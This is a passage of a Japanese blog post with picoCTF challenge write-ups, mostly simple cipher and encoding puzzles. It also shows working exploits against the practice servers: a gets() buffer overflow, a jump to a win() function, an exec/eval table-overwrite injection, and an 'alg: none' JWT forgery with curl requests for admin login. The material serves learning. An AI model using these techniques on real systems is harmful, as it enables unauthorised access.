decrypted_flag += corrupted_flag[i-2]
decrypted_flag += corrupted_flag[i-1]
print(decrypted_flag, end="")
$ python3 decryptor.py
The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_<REDACTED>}
morse-code (100points)
モールス信号が録音されたファイルmorse_chal.wav
を解析してフラグを取得する問題。
アルファベットは小文字に直し、文字の切れ目はアンダースコアに変換せよとのこと。
こちらのサイトに音声ファイルをアップロードしてフラグを取得した。
rail-fence (100points)
rail fence 暗号化された以下のメッセージを復号してフラグを取得する問題。
Ta _7N6DDDhlg:W3D_H3C31N__0D3ef sHR053F38N43D0F i33___NA
復号に使用する鍵は4である。
CyberChefのRail Fence Cipher Decodeを使用して復号した。
ReadMyCert (100points)
PEM形式の証明書ファイルreadmycert.csr
を解析してフラグを取得する問題。
CyberChefのPEM to HexおよびFrom Hexを使用してフラグを取得した。
rotation (100points)
暗号化されたフラグxqkwKBN{z0bib1wv_l3kzgxb3l_i4j7l759}
を解析してフラグを取得する問題。
CyberChefのROT13でAmountに18を指定するとフラグを取れた。
Tapping (200points)
以下の暗号化されたメッセージを解読してフラグを取得する問題。
$ nc jupiter.challenges.picoctf.org 21610
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ...-- ----. ----- ..--- ----- .---- ----. ..... .---- ----. }
上記はモールス信号である。CyberChefのFrom Morse Codeを使用してフラグを取得した。
Flags (200points)
以下の画像ファイルを解析してフラグを取得する問題。
ぱっと見、国旗かと思ったが、どうも違うっぽい。
「flag cipher」でググってみたところ、International Code of Signalsと判明した。
リンク先を参考にして手動でフラグを取得した。
First Find (100points)
ZIPファイルfiles.zip
からuber-secret.txt
を見つけてフラグを取得する問題。
$ unzip -Z files.zip | grep -i uber-secret.txt
-rw-rw-r-- 3.0 unx 31 tx stor 22-May-14 04:17 files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
$ unzip files.zip
Archive: files.zip
creating: files/
creating: files/satisfactory_books/
creating: files/satisfactory_books/more_books/
inflating: files/satisfactory_books/more_books/37121.txt.utf-8
inflating: files/satisfactory_books/23765.txt.utf-8
inflating: files/satisfactory_books/16021.txt.utf-8
inflating: files/13771.txt.utf-8
creating: files/adequate_books/
creating: files/adequate_books/more_books/
creating: files/adequate_books/more_books/.secret/
creating: files/adequate_books/more_books/.secret/deeper_secrets/
creating: files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/
extracting: files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
inflating: files/adequate_books/more_books/1023.txt.utf-8
inflating: files/adequate_books/46804-0.txt
inflating: files/adequate_books/44578.txt.utf-8
creating: files/acceptable_books/
creating: files/acceptable_books/more_books/
inflating: files/acceptable_books/more_books/40723.txt.utf-8
inflating: files/acceptable_books/17880.txt.utf-8
inflating: files/acceptable_books/17879.txt.utf-8
inflating: files/14789.txt.utf-8
$ cd files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/
$ ls
uber-secret.txt
$ file uber-secret.txt
uber-secret.txt: ASCII text
$ cat uber-secret.txt
picoCTF{f1nd_15_f457_<REDACTED>}
Big Zip (100points)
ZIPファイルbig-zip-files.zip
を解析してフラグを取得する問題。
big-zip-files.zip
には大量のテキストファイルが含まれていた。
$ unzip -Z big-zip-files.zip | wc -l
9093
$ unzip -Z big-zip-files | head
Archive: big-zip-files.zip
Zip file size: 3182988 bytes, number of entries: 9090
drwxrwxr-x 3.0 unx 0 bx stor 20-May-04 06:12 big-zip-files/
-rw-rw-r-- 3.0 unx 15 tx stor 20-May-04 05:59 big-zip-files/jpvaawkrpno.txt
-rw-rw-r-- 3.0 unx 83 tx defN 20-May-04 05:59 big-zip-files/oxbcyjsy.txt
-rw-rw-r-- 3.0 unx 175 tx defN 20-May-04 05:59 big-zip-files/hllhxlvvdgiii.txt
-rw-rw-r-- 3.0 unx 82 tx defN 20-May-04 05:59 big-zip-files/bdvnqbuutefealgveyiqd.txt
-rw-rw-r-- 3.0 unx 88 tx defN 20-May-04 05:59 big-zip-files/fudfsewmaafsbniiyktzr.txt
drwxrwxr-x 3.0 unx 0 bx stor 20-May-04 06:11 big-zip-files/folder_fqmjtuthge/
-rw-rw-r-- 3.0 unx 91 tx defN 20-May-04 05:59 big-zip-files/folder_fqmjtuthge/file_eaigogtrdslbxenbnfisxepj.txt
ZIPファイルを解凍し、grepの-Rオプションを利用してフラグを取得した。
$ grep -R -i 'pico' big-zip-files/
big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_<REDACTED>}
ASCII Numbers (100points)
以下のHexエンコードされたデータをデコードしてフラグを取得する問題。
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d
以下のワンライナーでフラグを取得した。
echo -n '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
$ echo -n '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_<REDACTED>}
Local Target (100points)
バッファオーバーフローの脆弱性を突いてフラグを取得する問題。
local-target
という64ビットのELFファイルとソースコードlocal-target.c
を渡された。
以下はlocal-target.c
の内容である。
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
変数num
の値を65
に書き換えることが出来ればflag.txt
からフラグが読み出される。
このプログラムはユーザーの入力をバッファオーバーフローに対して脆弱なgets()
で受け取っているので、gets()
をオーバーフローさせれば変数num
の値を書き換えることが出来る。
入力バッファのサイズが16バイトなので (char input[16];
)、16バイトから1バイトずつ増やしながら\x41
(65
) をプログラムに送り続けたところ、\x41
を25バイト送った時点で変数num
が書き換えられて、フラグを取ることが出来た。
$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' | nc saturn.picoctf.net 55949
Enter a string:
num is 65
You win!
picoCTF{l0c4l5_1n_5c0p3_<REDACTED>}
Picker IV (100points)
64ビットのELFファイルpicker-IV
とソースコードpicker-IV.c
を解析してフラグを取得する問題。
以下はpicker-IV.c
の内容である。
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void print_segf_message(){
printf("Segfault triggered! Exiting.\n");
sleep(15);
exit(SIGSEGV);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
win()
という関数を呼び出すことが出来ればflag.txt
からフラグが読み出される。
checksecでバイナリを確認したところ、PIEは有効化されていなかった。
$ sudo checksec.sh --file=picker-IV
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 picker-IV
win()
のアドレスは0x40129e
だった。
$ objdump -d -M intel picker-IV | grep win
000000000040129e <win>:
4012d2: 75 16 jne 4012ea <win+0x4c>
4012f9: eb 1a jmp 401315 <win+0x77>
401319: 75 e0 jne 4012fb <win+0x5d>
入力値としてwin()
のアドレス0x40129e
を送ったところ、フラグを取れた。
$ nc saturn.picoctf.net 62905
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_<REDACTED>}
Picker III (100points)
Pythonスクリプトpicker-III.py
を解析してフラグを取得する問題。
以下はpicker-III.py
の内容。
import re
USER_ALIVE = True
FUNC_TABLE_SIZE = 4
FUNC_TABLE_ENTRY_SIZE = 32
CORRUPT_MESSAGE = 'Table corrupted. Try entering \'reset\' to fix it'
func_table = ''
def reset_table():
global func_table
# This table is formatted for easier viewing, but it is really one line
func_table = \
'''\
print_table \
read_variable \
write_variable \
getRandomNumber \
'''
def check_table():
global func_table
if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
return False
return True
def get_func(n):
global func_table
# Check table for viability
if( not check_table() ):
print(CORRUPT_MESSAGE)
return
# Get function name from table
func_name = ''
func_name_offset = n * FUNC_TABLE_ENTRY_SIZE
for i in range(func_name_offset, func_name_offset+FUNC_TABLE_ENTRY_SIZE):
if( func_table[i] == ' '):
func_name = func_table[func_name_offset:i]
break
if( func_name == '' ):
func_name = func_table[func_name_offset:func_name_offset+FUNC_TABLE_ENTRY_SIZE]
return func_name
def print_table():
# Check table for viability
if( not check_table() ):
print(CORRUPT_MESSAGE)
return
for i in range(0, FUNC_TABLE_SIZE):
j = i + 1
print(str(j)+': ' + get_func(i))
def filter_var_name(var_name):
r = re.search('^[a-zA-Z_][a-zA-Z_0-9]*$', var_name)
if r:
return True
else:
return False
def read_variable():
var_name = input('Please enter variable name to read: ')
if( filter_var_name(var_name) ):
eval('print('+var_name+')')
else:
print('Illegal variable name')
def filter_value(value):
if ';' in value or '(' in value or ')' in value:
return False
else:
return True
def write_variable():
var_name = input('Please enter variable name to write: ')
if( filter_var_name(var_name) ):
value = input('Please enter new value of variable: ')
if( filter_value(value) ):
exec('global '+var_name+'; '+var_name+' = '+value)
else:
print('Illegal value')
else:
print('Illegal variable name')
def call_func(n):
"""
Calls the nth function in the function table.
Arguments:
n: The function to call. The first function is 0.
"""
# Check table for viability
if( not check_table() ):
print(CORRUPT_MESSAGE)
return
# Check n
if( n < 0 ):
print('n cannot be less than 0. Aborting...')
return
elif( n >= FUNC_TABLE_SIZE ):
print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
return
# Get function name from table
func_name = get_func(n)
# Run the function
eval(func_name+'()')
def dummy_func1():
print('in dummy_func1')
def dummy_func2():
print('in dummy_func2')
def dummy_func3():
print('in dummy_func3')
def dummy_func4():
print('in dummy_func4')
def getRandomNumber():
print(4) # Chosen by fair die roll.
# Guaranteed to be random.
# (See XKCD)
def win():
# This line will not work locally unless you create your own 'flag.txt' in
# the same directory as this script
flag = open('flag.txt', 'r').read()
#flag = flag[:-1]
flag = flag.strip()
str_flag = ''
for c in flag:
str_flag += str(hex(ord(c))) + ' '
print(str_flag)
def help_text():
print(
'''
This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.
* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.
Here's the current table:
'''
)
print_table()
reset_table()
while(USER_ALIVE):
choice = input('==> ')
if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
USER_ALIVE = False
elif( choice == 'help' or choice == '?' ):
help_text()
elif( choice == 'reset' ):
reset_table()
elif( choice == '1' ):
call_func(0)
elif( choice == '2' ):
call_func(1)
elif( choice == '3' ):
call_func(2)
elif( choice == '4' ):
call_func(3)
else:
print('Did not understand "'+choice+'" Have you tried "help"?')
win()
という関数を呼び出せればflag.txt
からフラグを読み出せるが、普通にプログラムを実行しただけではwin()
を呼び出せない。
$ python3 picker-III.py
==> help
This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.
* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.
Here's the current table:
1: print_table
2: read_variable
3: write_variable
4: getRandomNumber
以下はプログラムで有効なコマンドである。
quit
: プログラムを終了する。help
: ヘルプを表示する。reset
: 関数の一覧が格納されているグローバル変数func_table
をリセットする。1
(print_table
) : 関数の一覧を表示する。2
(read_variable
) : 指定した変数の値を読み出す。3
(write_variable
) : 指定した変数に値を書き込む。4
(getRandomNumber
) : 4という値を出力するだけ。
真っ先に思いついたのはwrite_variable
でflag.txt
の中身を変数に書き込んだ後に、read_variable
でその変数を読み出す、という方法であった。
以下はwrite_variable
でflag
という変数にopen("flag.txt", "r").read()
というコマンドを書き込んだ後に、read_variable
で変数flag
を読み出そうとした際の様子である。
まずは変数flag
にopen("flag.txt", "r").read()
というコマンドを書き込んだ。ちなみにfilter_value()
関数によって;
や()
はフィルターされるので、()
はHexエンコードさせた 。
==> 3
Please enter variable name to write: flag
Please enter new value of variable: "open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29"
変数flag
を読み出してみた。
==> 2
Please enter variable name to read: flag
open("flag.txt","r").read()
残念ながらopen("flag.txt", "r").read()
はコマンドではなく、文字列として認識されてしまった。
次に思いついたのは関数の一覧が格納されているグローバル変数func_table
にwin()
を紛れ込ませる、という方法である。
グローバル変数func_table
にはprint_table
、read_variable
、write_variable
、getRandomNumber
の4つの関数が格納されている。
# This table is formatted for easier viewing, but it is really one line
func_table = \
'''\
print_table \
read_variable \
write_variable \
getRandomNumber \
'''
==> 2
Please enter variable name to read: func_table
print_table read_variable write_variable getRandomNumber
これら4つの関数は最終的にcall_func()
関数によって実行される。ユーザーが1
というコマンドを指定した場合、func_table
の先頭に格納されているprint_table
関数が実行され、2
というコマンドを指定した場合、func_table
の2番目に格納されているread_variable
関数が実行される。。。といった具合である。
def call_func(n):
"""
Calls the nth function in the function table.
Arguments:
n: The function to call. The first function is 0.
"""
# Check table for viability
if( not check_table() ):
print(CORRUPT_MESSAGE)
return
# Check n
if( n < 0 ):
print('n cannot be less than 0. Aborting...')
return
elif( n >= FUNC_TABLE_SIZE ):
print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
return
# Get function name from table
func_name = get_func(n)
# Run the function
eval(func_name+'()')
while(USER_ALIVE):
choice = input('==> ')
if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
USER_ALIVE = False
elif( choice == 'help' or choice == '?' ):
help_text()
elif( choice == 'reset' ):
reset_table()
elif( choice == '1' ):
call_func(0)
elif( choice == '2' ):
call_func(1)
elif( choice == '3' ):
call_func(2)
elif( choice == '4' ):
call_func(3)
else:
print('Did not understand "'+choice+'" Have you tried "help"?')
よって、変数func_table
の先頭にwin
を書き込んだ後に、1
というコマンドを実行すればwin()
が実行されてフラグを取れると思われる。
変数func_table
は以下の条件を満たしていなければならない。
- 格納される関数名の数は4つ。
- 変数に格納されるデータサイズは128バイト。
FUNC_TABLE_SIZE = 4
FUNC_TABLE_ENTRY_SIZE = 32
def check_table():
global func_table
if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
return False
return True
よって変数func_table
に書き込む値は以下のようになる。
'win read_variable write_variable getRandomNumber '
データサイズがちょうど128バイトになるようにスペースの数を調節した。またプログラムに変数を格納する際はシングルクォートで囲う必要があった。
>>> len('win read_variable write_variable getRandomNumber ')
128
以下は実行結果である。変数func_table
の値を上書きした後に1
というコマンドを実行したところ、win()
が実行されてHexエンコードされたフラグが読み出された。
$ nc saturn.picoctf.net 56401
==> 2
Please enter variable name to read: func_table
print_table read_variable write_variable getRandomNumber
==> 3
Please enter variable name to write: func_table
Please enter new value of variable: 'win read_variable write_variable
getRandomNumber '
==> 1
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d
==>
$ echo '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_<REDACTED>}
la cifra de (200points)
以下の暗号化されたメッセージを復号してフラグを取得する問題。
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk
Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd
Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo
Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3x7g996649}
Ehk ktryy herq-ooizxetypd jjdcxnatoty ol f aordllvmlbkytc inahkw socjgex, bls sfoe gwzuti 1467 my Rjzn Hfetoxea Gqmexyt.
Tnj Gimjyèrk Htpnjc iy ysexjqoxj dosjeisjd cgqwej yse Gqmexyt Doxn ox Fwbkwei Inahkw.
Tn 1508, Ptsatsps Zwttnjxiax tnbjytki ehk xz-cgqwej ylbaql rkhea (g rltxni ol xsilypd gqahggpty) ysaz bzuri wazjc bk f nroytcgq nosuznkse ol yse Bnretèwp Cousex.
Gplrfdo’y xpcuso butvlky lpvjlrki tn 1555 gx l cuseitzltoty ol yse lncsz. Yse rthex mllbjd ol yse gqahggpty fce tth snnqtki cemzwaxqj, bay ehk fwpnfmezx lnj yse osoed qptzjcs gwp mocpd hd xegsd ol f xnkrznoh vee usrgxp, wnnnh ify bk itfljcety hizm paim noxwpsvtydkse.
単純な換字式暗号かと思い復号を試みてみたが、どうも違うっぽい。
ヒントを見てみた。
There are tools that make this easy.
Perhaps looking at history will help
ヒントに従い、暗号の歴史について調べることにした。
「cryptography history」と暗号文に含まれていた「1553」(おそらく何かの年代)を組み合わせてググってみたところ、ヴィジュネル暗号のwikiに辿り着いた。
しかし肝心の復号鍵が不明である。
オンラインでブルートフォースできないかと思い、「vigenere brute force online」でググってみたところ、こちらのサイトで暗号文を復号してフラグを取ることが出来た。
復号鍵はflag
だった。
JAuth (300points)
Webサイトhttp://saturn.picoctf.net:55824/
を解析してフラグを取得する問題。
Webサイトの脆弱性を突いてadmin
としてログインせよとのこと。
検証用のアカウントとしてtest
が用意されている。パスワードはTest123!
。
サーバーの応答ヘッダーから何か手掛かりが掴めないかと思い、とりあえずアカウントtest
を利用してログインのリクエストを送ってみた。
$ curl -i http://saturn.picoctf.net:55824/auth -d "username=test" -d "password=Test123!"
HTTP/1.1 302 Found
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9.0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNc; path=/; httponly
Location: /private
Date: Sun, 18 Jun 2023 10:20:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Set-Cookie
ヘッダーにBase64エンコードされた認証用のトークンが含まれていたので、デコードしてみた。(ちなみにログインに成功するとhttp://saturn.picoctf.net:55824/private
へ遷移するが、このページには特に目ぼしい情報はなかった。)
$ echo -n eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo -n eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9 | base64 -d
{"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}
$ echo -n 0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNc | base64 -d
ҽ.f;4��8W/���XY���_base64: invalid input
どうやらJWT(JSON web tokens)を利用している模様。
JWTの構成は以下の通り。
[ヘッダー].[ペイロード].[署名]
上の例だと、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
({"typ":"JWT","alg":"HS256"}
) がヘッダー、eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9
({"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}
) がペイロード、0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNc
が署名に当たる。
ペイロード {"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}
のrole
パラメータをuser
からadmin
に書き換えればadmin
としてログインできそうな感じがするが、署名に使用されている鍵が不明なため、単純にペイロードを書き換えただけでは署名のチェックを突破できない。
しかし、調べてみるとヘッダーのalg
パラメータにnone
と指定した場合、署名無しでリクエストを送れてしまうことがあるらしい。
CyberChefのJWT Sign (Signing algorithmにNoneを指定) を使用して、role
パラメータをuser
からadmin
に書き換えた以下のペイロードをエンコードしてみた。
{"auth":1687083624519,"agent":"curl/7.81.0","role":"admin","iat":1687083625}
以下はCyberChefで生成したトークン。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjg3MDgzNjI1fQ.
生成したトークンをCookie
ヘッダーに埋め込んでhttp://saturn.picoctf.net:55824/private
にリクエストを送ったところ、admin
としてログインでき、フラグを取ることが出来た。
$ curl -i http://saturn.picoctf.net:55824/private -H "Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjg3MDgzNjI1fQ."
HTTP/1.1 200 OK
content-type: text/html
Date: Sun, 18 Jun 2023 10:50:40 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta
name="viewport"
content="width=device-width, initial-scale=1, shrink-to-fit=no"
/>
<title>Our Bank</title>
<link
rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css"
/>
<style type="text/css">
.form-signin {
width: 100%;
max-width: 420px;
padding: 15px;
margin: auto;
}
</style>
</head>
<body>
<div class="text-center">
<h1>Hello, admin! You have logged in as admin!</h1>
</div>
<div class="text-center"><span>picoCTF{succ3ss_@u7h3nt1c@710n_<REDACTED>}</span></div>
<form class="form-signin" action="/logout" method="GET">
<div class="text-center mb-4">
<input type="submit" class="btn btn-danger" value="logout" />
</div>
</form>
</body>
</html>
Codebook (100points)
$ ls
code.py codebook.txt
$ python3 code.py
picoCTF{c0d3b00k_455157_<REDACTED>}
convertme.py (100points)
$ python3 convertme.py
If 46 is in decimal base, what is it in binary base?
Answer:
>>> bin(46)
'0b101110'
$ python3 convertme.py
If 46 is in decimal base, what is it in binary base?
Answer: 101110
That is correct! Here's your flag: picoCTF{4ll_y0ur_b4535_<REDACTED>}
fixme1.py (100points)
$ python3 fixme1.py
File "/mnt/c/Users/tatsu/Documents/picoCTF/fixme1.py/fixme1.py", line 20
print('That is correct! Here\'s your flag: ' + flag)
IndentationError: unexpected indent
スクリプト20行目のprint文の冒頭のスペースを削除すればスクリプトがエラーなしで実行されてフラグを取れる。
fixme2.py (100points)
$ python3 fixme2.py
File "/mnt/c/Users/tatsu/Documents/picoCTF/fixme2.py/fixme2.py", line 22
if flag = "":
^^^^^^^^^
SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='?
スクリプト22行目のif flag = ""
をif flag == ""
に修正すればスクリプトがエラーなしで実行されてフラグを取れる。
Glitch Cat (100points)
$ nc saturn.picoctf.net 50363
'picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}'
>>> print('picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}')
picoCTF{gl17ch_m3_n07_<REDACTED>}
HashingJobApp (100points)
$ nc saturn.picoctf.net 55823
Please md5 hash the text between quotes, excluding the quotes: 'jelly beans'
Answer:
$ echo -n 'jelly beans' | md5sum
cb7d86ece76c57eac5ed18420ca67ea0 -
Please md5 hash the text between quotes, excluding the quotes: 'jelly beans'
Answer:
cb7d86ece76c57eac5ed18420ca67ea0
cb7d86ece76c57eac5ed18420ca67ea0
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'leather'
Answer:
$ echo -n 'leather' | md5sum
73bbd566536e2c09568defc61f5b9f48 -
Please md5 hash the text between quotes, excluding the quotes: 'leather'
Answer:
73bbd566536e2c09568defc61f5b9f48
73bbd566536e2c09568defc61f5b9f48
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'kilts'
Answer:
$ echo -n 'kilts' | md5sum
64cb30b3223e083fa0a2dad43fae9a0e -
Please md5 hash the text between quotes, excluding the quotes: 'kilts'
Answer:
64cb30b3223e083fa0a2dad43fae9a0e
64cb30b3223e083fa0a2dad43fae9a0e
Correct.
picoCTF{4ppl1c4710n_r3c31v3d_<REDACTED>}
PW Crack 1 (100points)
Pythonスクリプトlevel1.py
を解析し、暗号化されたファイルlevel1.flag.txt.enc
を復号してフラグを取得する問題。
以下はlevel1.py
の内容。
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('level1.flag.txt.enc', 'rb').read()
def level_1_pw_check():
user_pw = input("Please enter correct password for flag: ")
if( user_pw == "8713"):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), user_pw)
print(decryption)
return
print("That password is incorrect")
level_1_pw_check()
8713
というパスワードがハードコードされていた。
$ python3 level1.py
Please enter correct password for flag: 8713
Welcome back... your flag, user:
picoCTF{545h_r1ng1ng_<REDACTED>}
PW Crack 2 (100points)
Pythonスクリプトlevel2.py
を解析し、暗号化されたファイルlevel2.flag.txt.enc
を復号してフラグを取得する問題。
以下はlevel2.py
の内容。
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
